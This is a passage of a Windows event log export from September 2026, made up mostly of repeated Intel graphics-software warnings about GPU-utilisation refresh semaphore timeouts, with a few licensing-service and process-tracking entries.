09:03:41.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.837\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.055\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.607\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.488\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:45.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:45.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.752\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.269\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:50.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:50.613\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:03:50.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.082\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.732\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.952\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.820\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.890\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.646\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:55.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:55.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.826\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.253\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.472\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.900\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:58.223\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:58.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.290\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.356\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.646\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.872\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.878\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.483\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.486\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.703\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.130\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.892\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.558\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.098\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.423\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.604\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.814\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.326\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.746\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore 